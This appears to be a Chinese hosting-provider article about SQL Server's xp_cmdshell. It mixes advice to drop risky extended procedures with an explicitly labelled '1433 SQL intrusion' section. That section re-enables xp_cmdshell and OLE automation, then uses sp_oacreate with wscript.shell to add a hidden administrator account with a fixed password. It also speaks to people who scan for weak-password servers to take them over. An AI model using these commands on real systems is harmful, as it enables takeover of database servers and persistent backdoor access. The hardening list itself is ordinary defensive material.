xp_cmdshell是一个功能强大的扩展存贮过程,系统管理员以操作命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
但是,因尔特网络工程师告诉你,xp_cmdshell对用户来说,是不必要的,为了安全,建议关闭xp_cmdshell,因为cmdshell的关闭或消除不会对SQLserver造成任何影响。
可以将xp_cmdshell消除的方法是执行以下命令:
Use Master
Exec sp_dropextendedproc N'xp_cmdshell'
Go
1433 SQL入侵恢复xp_cmdshell方法:
以sql server2005为例,执行以下命令:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
如果以上方法不可恢复,请用下面的办法直接添加帐户:
查询分离器连接后,
云服务器2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
删除sql危险存储:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
经常扫服务器SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
以上只是SQL数据库服务器维护中的要点说明,具体服务器操作维护,我司服务器,云服务器用户可直接联系我们技术人员为您维护操作即可,减少自己误操作带来的不必要麻烦。